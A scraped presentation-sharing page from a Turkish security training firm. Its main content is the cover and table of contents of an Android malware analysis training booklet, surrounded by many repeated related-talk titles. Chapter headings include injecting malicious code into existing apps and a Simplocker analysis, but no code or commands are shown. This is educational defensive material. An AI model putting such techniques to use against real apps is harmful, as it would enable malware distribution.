Caldera İle Saldırı SimülasyonuCaldera İle Saldırı Simülasyonu
Caldera İle Saldırı SimülasyonuBGA Cyber Security
 
Log Korelasyon/SIEM Kural Örnekleri ve Korelasyon Motoru Performans Verileri
Log Korelasyon/SIEM Kural Örnekleri ve Korelasyon Motoru Performans VerileriLog Korelasyon/SIEM Kural Örnekleri ve Korelasyon Motoru Performans Verileri
Log Korelasyon/SIEM Kural Örnekleri ve Korelasyon Motoru Performans VerileriErtugrul Akbas
 
Sızma Testine Giriş - Fuat Ulugay
Sızma Testine Giriş  - Fuat UlugaySızma Testine Giriş  - Fuat Ulugay
Sızma Testine Giriş - Fuat UlugayFuat Ulugay, CISSP
 
Zararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab KitabıZararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab KitabıBGA Cyber Security
 

Mais procurados (20)

Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
 
Zararlı Yazılım Analizi ve Tespitinde YARA Kullanımı
Zararlı Yazılım Analizi ve Tespitinde YARA KullanımıZararlı Yazılım Analizi ve Tespitinde YARA Kullanımı
Zararlı Yazılım Analizi ve Tespitinde YARA Kullanımı
 
10 Adımda Sızma Testleri
10 Adımda Sızma Testleri10 Adımda Sızma Testleri
10 Adımda Sızma Testleri
 
3. parti firma risklerinden nasıl korunulur?
3. parti firma risklerinden nasıl korunulur?3. parti firma risklerinden nasıl korunulur?
3. parti firma risklerinden nasıl korunulur?
 
Windows Sistemler için Sysmon ve Wazuh Kullanarak Mitre ATT&CK Kurallarının ...
Windows Sistemler için Sysmon ve Wazuh Kullanarak  Mitre ATT&CK Kurallarının ...Windows Sistemler için Sysmon ve Wazuh Kullanarak  Mitre ATT&CK Kurallarının ...
Windows Sistemler için Sysmon ve Wazuh Kullanarak Mitre ATT&CK Kurallarının ...
 
Web uygulama açıklıklarından faydalanarak sistem ele geçirme
Web uygulama açıklıklarından faydalanarak sistem ele geçirmeWeb uygulama açıklıklarından faydalanarak sistem ele geçirme
Web uygulama açıklıklarından faydalanarak sistem ele geçirme
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
 
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 3
 
Web Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma TestleriWeb Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma Testleri
 
Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101
 
Zararlı Yazılım Analizi İçin Lab Ortamı Hazırlamak
Zararlı Yazılım Analizi İçin Lab Ortamı HazırlamakZararlı Yazılım Analizi İçin Lab Ortamı Hazırlamak
Zararlı Yazılım Analizi İçin Lab Ortamı Hazırlamak
 
İleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabıİleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabı
 
Open Source Soc Araçları Eğitimi 2020-II
Open Source Soc Araçları Eğitimi 2020-IIOpen Source Soc Araçları Eğitimi 2020-II
Open Source Soc Araçları Eğitimi 2020-II
 
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1
BTRisk X86 Tersine Mühendislik Eğitim Sunumu - Bölüm-1
 
Open Source SOC Kurulumu
Open Source SOC KurulumuOpen Source SOC Kurulumu
Open Source SOC Kurulumu
 
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım SenaryolarıWebinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
 
Caldera İle Saldırı Simülasyonu
Caldera İle Saldırı SimülasyonuCaldera İle Saldırı Simülasyonu
Caldera İle Saldırı Simülasyonu
 
Log Korelasyon/SIEM Kural Örnekleri ve Korelasyon Motoru Performans Verileri
Log Korelasyon/SIEM Kural Örnekleri ve Korelasyon Motoru Performans VerileriLog Korelasyon/SIEM Kural Örnekleri ve Korelasyon Motoru Performans Verileri
Log Korelasyon/SIEM Kural Örnekleri ve Korelasyon Motoru Performans Verileri
 
Sızma Testine Giriş - Fuat Ulugay
Sızma Testine Giriş  - Fuat UlugaySızma Testine Giriş  - Fuat Ulugay
Sızma Testine Giriş - Fuat Ulugay
 
Zararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab KitabıZararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab Kitabı
 

Destaque

Başarılı Bir Siber Saldırının Perde Arkası ve Vaka Analizi
Başarılı Bir Siber Saldırının Perde Arkası ve Vaka AnaliziBaşarılı Bir Siber Saldırının Perde Arkası ve Vaka Analizi
Başarılı Bir Siber Saldırının Perde Arkası ve Vaka AnaliziBGA Cyber Security
 
Kablosuz Ağ Saldırı Araçları
Kablosuz Ağ Saldırı AraçlarıKablosuz Ağ Saldırı Araçları
Kablosuz Ağ Saldırı AraçlarıBGA Cyber Security
 
Etkin Siber Savunma i̇çin Tehdit Avcılığı
Etkin Siber Savunma i̇çin Tehdit Avcılığı Etkin Siber Savunma i̇çin Tehdit Avcılığı
Etkin Siber Savunma i̇çin Tehdit Avcılığı BGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18BGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19BGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15BGA Cyber Security
 
Ağ Protokollerine Yönelik Adli Bilişim Analizi
Ağ Protokollerine Yönelik Adli Bilişim AnaliziAğ Protokollerine Yönelik Adli Bilişim Analizi
Ağ Protokollerine Yönelik Adli Bilişim AnaliziBGA Cyber Security
 
Her Yönü İle Siber Tehdit İstihbaratı
Her Yönü İle Siber Tehdit İstihbaratıHer Yönü İle Siber Tehdit İstihbaratı
Her Yönü İle Siber Tehdit İstihbaratıBGA Cyber Security
 

Destaque (10)

Başarılı Bir Siber Saldırının Perde Arkası ve Vaka Analizi
Başarılı Bir Siber Saldırının Perde Arkası ve Vaka AnaliziBaşarılı Bir Siber Saldırının Perde Arkası ve Vaka Analizi
Başarılı Bir Siber Saldırının Perde Arkası ve Vaka Analizi
 
Wimax sunum
Wimax sunumWimax sunum
Wimax sunum
 
Kablosuz Ağ Saldırı Araçları
Kablosuz Ağ Saldırı AraçlarıKablosuz Ağ Saldırı Araçları
Kablosuz Ağ Saldırı Araçları
 
Etkin Siber Savunma i̇çin Tehdit Avcılığı
Etkin Siber Savunma i̇çin Tehdit Avcılığı Etkin Siber Savunma i̇çin Tehdit Avcılığı
Etkin Siber Savunma i̇çin Tehdit Avcılığı
 
Kablosuz Ağlarda Adli Analiz
Kablosuz Ağlarda Adli AnalizKablosuz Ağlarda Adli Analiz
Kablosuz Ağlarda Adli Analiz
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 16, 17, 18
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 19
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
 
Ağ Protokollerine Yönelik Adli Bilişim Analizi
Ağ Protokollerine Yönelik Adli Bilişim AnaliziAğ Protokollerine Yönelik Adli Bilişim Analizi
Ağ Protokollerine Yönelik Adli Bilişim Analizi
 
Her Yönü İle Siber Tehdit İstihbaratı
Her Yönü İle Siber Tehdit İstihbaratıHer Yönü İle Siber Tehdit İstihbaratı
Her Yönü İle Siber Tehdit İstihbaratı
 

Semelhante a Android Zararlı Yazılım Analizi ve Güvenlik Yaklaşımları

Mobil Zararlı Yazılımlar Hakkında Bilinmesi Gerekenler
Mobil Zararlı Yazılımlar Hakkında Bilinmesi GerekenlerMobil Zararlı Yazılımlar Hakkında Bilinmesi Gerekenler
Mobil Zararlı Yazılımlar Hakkında Bilinmesi GerekenlerSparta Bilişim
 
Lecture 1 Siber Güvenlik Temel Kavramlar
Lecture 1 Siber Güvenlik Temel KavramlarLecture 1 Siber Güvenlik Temel Kavramlar
Lecture 1 Siber Güvenlik Temel KavramlarTurkIOT
 
Watchguard Firewall Genel Bakış
Watchguard Firewall Genel BakışWatchguard Firewall Genel Bakış
Watchguard Firewall Genel BakışÖzden Aydın
 
Mobil Uygulama Güvenliği (Mobile Security)
Mobil Uygulama Güvenliği (Mobile Security)Mobil Uygulama Güvenliği (Mobile Security)
Mobil Uygulama Güvenliği (Mobile Security)Cihan Özhan
 
Gömülü Cihaz Güvenliği ve Zollard Botnet Analizi
Gömülü Cihaz Güvenliği ve Zollard Botnet AnaliziGömülü Cihaz Güvenliği ve Zollard Botnet Analizi
Gömülü Cihaz Güvenliği ve Zollard Botnet AnaliziIbrahim Baliç
 
Mobil Sistemler ve Uygulama Güvenliği
Mobil Sistemler ve Uygulama GüvenliğiMobil Sistemler ve Uygulama Güvenliği
Mobil Sistemler ve Uygulama GüvenliğiBGA Cyber Security
 
TrendLabs 2013 yılı ikinci çeyreği siber güvenlik sonuçları
TrendLabs 2013 yılı ikinci çeyreği siber güvenlik sonuçlarıTrendLabs 2013 yılı ikinci çeyreği siber güvenlik sonuçları
TrendLabs 2013 yılı ikinci çeyreği siber güvenlik sonuçlarıErol Dizdar
 
Güvenlik Yönetimi 93
Güvenlik Yönetimi 93Güvenlik Yönetimi 93
Güvenlik Yönetimi 93HakanKk8
 
Bilgi güvenlik uygulamaları
Bilgi güvenlik uygulamalarıBilgi güvenlik uygulamaları
Bilgi güvenlik uygulamalarıMusa BEKTAŞ
 
ServisNET Security Solutions
ServisNET Security SolutionsServisNET Security Solutions
ServisNET Security SolutionsHakki Aydin Ucar
 
Siber Dünyada Modern Arka Kapılar
Siber Dünyada Modern Arka KapılarSiber Dünyada Modern Arka Kapılar
Siber Dünyada Modern Arka KapılarBGA Cyber Security
 
BT Günlüğü Mart - Nisan 2016
BT Günlüğü Mart - Nisan 2016BT Günlüğü Mart - Nisan 2016
BT Günlüğü Mart - Nisan 2016Eylül Medya
 
Şifre Güvenliği ve AuthPoint MFA
Şifre Güvenliği ve AuthPoint MFA Şifre Güvenliği ve AuthPoint MFA
Şifre Güvenliği ve AuthPoint MFA Özden Aydın
 
Bi̇li̇şi̇m Si̇stemleri̇nde Güvenli̇k Sorunları ve Önlemleri̇
Bi̇li̇şi̇m Si̇stemleri̇nde Güvenli̇k Sorunları ve Önlemleri̇Bi̇li̇şi̇m Si̇stemleri̇nde Güvenli̇k Sorunları ve Önlemleri̇
Bi̇li̇şi̇m Si̇stemleri̇nde Güvenli̇k Sorunları ve Önlemleri̇Kamuran Özkan
 
BT Günlüğü Haziran 2014
BT Günlüğü Haziran 2014BT Günlüğü Haziran 2014
BT Günlüğü Haziran 2014Eylül Medya
 
Halil Öztürkçi - Dijital iz sürme sanatı adli bilişim
Halil Öztürkçi - Dijital iz sürme sanatı   adli bilişimHalil Öztürkçi - Dijital iz sürme sanatı   adli bilişim
Halil Öztürkçi - Dijital iz sürme sanatı adli bilişimKasım Erkan
 

Semelhante a Android Zararlı Yazılım Analizi ve Güvenlik Yaklaşımları (20)

Mobil Zararlı Yazılımlar Hakkında Bilinmesi Gerekenler
Mobil Zararlı Yazılımlar Hakkında Bilinmesi GerekenlerMobil Zararlı Yazılımlar Hakkında Bilinmesi Gerekenler
Mobil Zararlı Yazılımlar Hakkında Bilinmesi Gerekenler
 
Lecture 1 Siber Güvenlik Temel Kavramlar
Lecture 1 Siber Güvenlik Temel KavramlarLecture 1 Siber Güvenlik Temel Kavramlar
Lecture 1 Siber Güvenlik Temel Kavramlar
 
Watchguard Firewall Genel Bakış
Watchguard Firewall Genel BakışWatchguard Firewall Genel Bakış
Watchguard Firewall Genel Bakış
 
Mobil Uygulama Güvenliği (Mobile Security)
Mobil Uygulama Güvenliği (Mobile Security)Mobil Uygulama Güvenliği (Mobile Security)
Mobil Uygulama Güvenliği (Mobile Security)
 
Gömülü Cihaz Güvenliği ve Zollard Botnet Analizi
Gömülü Cihaz Güvenliği ve Zollard Botnet AnaliziGömülü Cihaz Güvenliği ve Zollard Botnet Analizi
Gömülü Cihaz Güvenliği ve Zollard Botnet Analizi
 
Mobil Sistemler ve Uygulama Güvenliği
Mobil Sistemler ve Uygulama GüvenliğiMobil Sistemler ve Uygulama Güvenliği
Mobil Sistemler ve Uygulama Güvenliği
 
TrendLabs 2013 yılı ikinci çeyreği siber güvenlik sonuçları
TrendLabs 2013 yılı ikinci çeyreği siber güvenlik sonuçlarıTrendLabs 2013 yılı ikinci çeyreği siber güvenlik sonuçları
TrendLabs 2013 yılı ikinci çeyreği siber güvenlik sonuçları
 
Güvenlik Yönetimi 93
Güvenlik Yönetimi 93Güvenlik Yönetimi 93
Güvenlik Yönetimi 93
 
Bilgi güvenlik uygulamaları
Bilgi güvenlik uygulamalarıBilgi güvenlik uygulamaları
Bilgi güvenlik uygulamaları
 
Tekvizyon bitdefender-ürün-tanıtım
Tekvizyon bitdefender-ürün-tanıtımTekvizyon bitdefender-ürün-tanıtım
Tekvizyon bitdefender-ürün-tanıtım
 
ServisNET Security Solutions
ServisNET Security SolutionsServisNET Security Solutions
ServisNET Security Solutions
 
Siber Dünyada Modern Arka Kapılar
Siber Dünyada Modern Arka KapılarSiber Dünyada Modern Arka Kapılar
Siber Dünyada Modern Arka Kapılar
 
BT Günlüğü Mart - Nisan 2016
BT Günlüğü Mart - Nisan 2016BT Günlüğü Mart - Nisan 2016
BT Günlüğü Mart - Nisan 2016
 
Şifre Güvenliği ve AuthPoint MFA
Şifre Güvenliği ve AuthPoint MFA Şifre Güvenliği ve AuthPoint MFA
Şifre Güvenliği ve AuthPoint MFA
 
Bi̇li̇şi̇m Si̇stemleri̇nde Güvenli̇k Sorunları ve Önlemleri̇
Bi̇li̇şi̇m Si̇stemleri̇nde Güvenli̇k Sorunları ve Önlemleri̇Bi̇li̇şi̇m Si̇stemleri̇nde Güvenli̇k Sorunları ve Önlemleri̇
Bi̇li̇şi̇m Si̇stemleri̇nde Güvenli̇k Sorunları ve Önlemleri̇
 
BT Günlüğü Haziran 2014
BT Günlüğü Haziran 2014BT Günlüğü Haziran 2014
BT Günlüğü Haziran 2014
 
Halil Öztürkçi - Dijital iz sürme sanatı adli bilişim
Halil Öztürkçi - Dijital iz sürme sanatı   adli bilişimHalil Öztürkçi - Dijital iz sürme sanatı   adli bilişim
Halil Öztürkçi - Dijital iz sürme sanatı adli bilişim
 
Edr nedir?
Edr nedir?Edr nedir?
Edr nedir?
 
Siber Fidye 2020 Raporu
Siber Fidye 2020 RaporuSiber Fidye 2020 Raporu
Siber Fidye 2020 Raporu
 
Kuresel tehdit gorunumu raporu 2020
Kuresel tehdit gorunumu raporu 2020Kuresel tehdit gorunumu raporu 2020
Kuresel tehdit gorunumu raporu 2020
 

Mais de BGA Cyber Security

WEBSOCKET Protokolünün Derinlemesine İncelenmesi
WEBSOCKET Protokolünün Derinlemesine İncelenmesiWEBSOCKET Protokolünün Derinlemesine İncelenmesi
WEBSOCKET Protokolünün Derinlemesine İncelenmesiBGA Cyber Security
 
Ücretsiz Bilgi Güvenliği Farkındalık Eğitimi
Ücretsiz Bilgi Güvenliği Farkındalık EğitimiÜcretsiz Bilgi Güvenliği Farkındalık Eğitimi
Ücretsiz Bilgi Güvenliği Farkındalık EğitimiBGA Cyber Security
 
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware SaldırılarıBir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware SaldırılarıBGA Cyber Security
 
Webinar: Popüler black marketler
Webinar: Popüler black marketlerWebinar: Popüler black marketler
Webinar: Popüler black marketlerBGA Cyber Security
 
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020BGA Cyber Security
 
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm ÖnerileriDNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm ÖnerileriBGA Cyber Security
 
Webinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
Webinar: Siber Güvenlikte Olgunluk Seviyesini ArttırmakWebinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
Webinar: Siber Güvenlikte Olgunluk Seviyesini ArttırmakBGA Cyber Security
 
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner GüvenliğiWebinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner GüvenliğiBGA Cyber Security
 
Hacklenmiş Windows Sistem Analizi
Hacklenmiş Windows Sistem AnaliziHacklenmiş Windows Sistem Analizi
Hacklenmiş Windows Sistem AnaliziBGA Cyber Security
 
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİRAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİBGA Cyber Security
 
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing RaporuBGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing RaporuBGA Cyber Security
 
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu ÇözümlerSOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu ÇözümlerBGA Cyber Security
 
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of SecretsVeri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of SecretsBGA Cyber Security
 
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi Toplama
Aktif Dizin (Active Directory) Güvenlik Testleri - I:  Bilgi ToplamaAktif Dizin (Active Directory) Güvenlik Testleri - I:  Bilgi Toplama
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi ToplamaBGA Cyber Security
 
SSL Sertifikalarından Phishing Domain Tespiti
SSL Sertifikalarından Phishing Domain TespitiSSL Sertifikalarından Phishing Domain Tespiti
SSL Sertifikalarından Phishing Domain TespitiBGA Cyber Security
 
Güvenlik Testlerinde Açık Kaynak İstihbaratı Kullanımı
Güvenlik Testlerinde Açık Kaynak İstihbaratı KullanımıGüvenlik Testlerinde Açık Kaynak İstihbaratı Kullanımı
Güvenlik Testlerinde Açık Kaynak İstihbaratı KullanımıBGA Cyber Security
 
Güncel DDOS Saldırılarının ve Teknik Analizi
Güncel DDOS Saldırılarının ve Teknik AnaliziGüncel DDOS Saldırılarının ve Teknik Analizi
Güncel DDOS Saldırılarının ve Teknik AnaliziBGA Cyber Security
 
SOCMINT Nedir? Kullanımı ve Örnekler
SOCMINT Nedir? Kullanımı ve ÖrneklerSOCMINT Nedir? Kullanımı ve Örnekler
SOCMINT Nedir? Kullanımı ve ÖrneklerBGA Cyber Security
 
Siber İstihbarat Eğitim Dokümanı
Siber İstihbarat Eğitim DokümanıSiber İstihbarat Eğitim Dokümanı
Siber İstihbarat Eğitim DokümanıBGA Cyber Security
 

Mais de BGA Cyber Security (20)

WEBSOCKET Protokolünün Derinlemesine İncelenmesi
WEBSOCKET Protokolünün Derinlemesine İncelenmesiWEBSOCKET Protokolünün Derinlemesine İncelenmesi
WEBSOCKET Protokolünün Derinlemesine İncelenmesi
 
Ücretsiz Bilgi Güvenliği Farkındalık Eğitimi
Ücretsiz Bilgi Güvenliği Farkındalık EğitimiÜcretsiz Bilgi Güvenliği Farkındalık Eğitimi
Ücretsiz Bilgi Güvenliği Farkındalık Eğitimi
 
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware SaldırılarıBir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
 
Webinar: Popüler black marketler
Webinar: Popüler black marketlerWebinar: Popüler black marketler
Webinar: Popüler black marketler
 
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
 
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm ÖnerileriDNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
 
Webinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
Webinar: Siber Güvenlikte Olgunluk Seviyesini ArttırmakWebinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
Webinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
 
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner GüvenliğiWebinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
 
Hacklenmiş Windows Sistem Analizi
Hacklenmiş Windows Sistem AnaliziHacklenmiş Windows Sistem Analizi
Hacklenmiş Windows Sistem Analizi
 
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİRAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
 
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing RaporuBGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
 
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu ÇözümlerSOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
 
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of SecretsVeri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
 
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi Toplama
Aktif Dizin (Active Directory) Güvenlik Testleri - I:  Bilgi ToplamaAktif Dizin (Active Directory) Güvenlik Testleri - I:  Bilgi Toplama
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi Toplama
 
SSL Sertifikalarından Phishing Domain Tespiti
SSL Sertifikalarından Phishing Domain TespitiSSL Sertifikalarından Phishing Domain Tespiti
SSL Sertifikalarından Phishing Domain Tespiti
 
Güvenlik Testlerinde Açık Kaynak İstihbaratı Kullanımı
Güvenlik Testlerinde Açık Kaynak İstihbaratı KullanımıGüvenlik Testlerinde Açık Kaynak İstihbaratı Kullanımı
Güvenlik Testlerinde Açık Kaynak İstihbaratı Kullanımı
 
Mail Sniper Nedir?
Mail Sniper Nedir?Mail Sniper Nedir?
Mail Sniper Nedir?
 
Güncel DDOS Saldırılarının ve Teknik Analizi
Güncel DDOS Saldırılarının ve Teknik AnaliziGüncel DDOS Saldırılarının ve Teknik Analizi
Güncel DDOS Saldırılarının ve Teknik Analizi
 
SOCMINT Nedir? Kullanımı ve Örnekler
SOCMINT Nedir? Kullanımı ve ÖrneklerSOCMINT Nedir? Kullanımı ve Örnekler
SOCMINT Nedir? Kullanımı ve Örnekler
 
Siber İstihbarat Eğitim Dokümanı
Siber İstihbarat Eğitim DokümanıSiber İstihbarat Eğitim Dokümanı
Siber İstihbarat Eğitim Dokümanı
 

Android Zararlı Yazılım Analizi ve Güvenlik Yaklaşımları

  • 1. BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity ANDROID ZARARLI YAZILIM ANALİZİ VE GÜVENLİK YAKLAŞIMLARI Yazar: Mücahit Emre Ceylan Mentör: Burcu Yarar Baskı: 2017
  • 2. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] İÇİNDEKİLER GİRİŞ 4 Neden Mobil Güvenlik? 5 Zararlı Yazılım ile Neler Yapabilir? 7 Lab Ortamının Kurulması ve Tersine Mühendislik Araçları 9 Android SDK (Software Development Kit) ve Android Studio Kurulumu 9 Android Emulatör Kurulumu 10 ADB (Android Debug Bridge) Kurulumu ve Kullanımı 12 BusyBox 16 Apktool 17 Dex2Jar 19 JD-GUI 20 Androguard 21 AndroBugs 24 MobSF 25 Qark 28 Droidbox 30 Android Mimarisi ve Güvenlik Yaklaşımı 38 APP COMPONENTS 41 Activities 41 Services 41 Broadcast Receivers 41 Content Providers 42 Uygulama: Kilit Ekranınız Rootlu Telefonunuzda Sizi Koruyor Mu? 43 SMS Okunması 43 Pattern Tespiti 44 Statik Analiz 48 Obfuscation 62 Dinamik Analiz ve Network Analizi 68 Log Analizi 69
  • 3. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Memory Analizi 72 Uygulama 75 Network Analizi 77 Android Studio ile Tcpdump 79 Genymotion ile Tcpdump 79 Uygulama 79 Tersine Mühendislik Teknikleri İle Uygulama İçeriğini Değiştirme 81 Tersine Mühendislik Teknikleri İle Mevcut Uygulama İçerisine Zararlı Kod Ekleme 86 Uygulamaları Birleştirme 100 Gerçek Hayattan Zararlı Yazılım Analizi Uygulama Örnekleri 103 Simplocker Statik Analiz 105 Referanslar 126
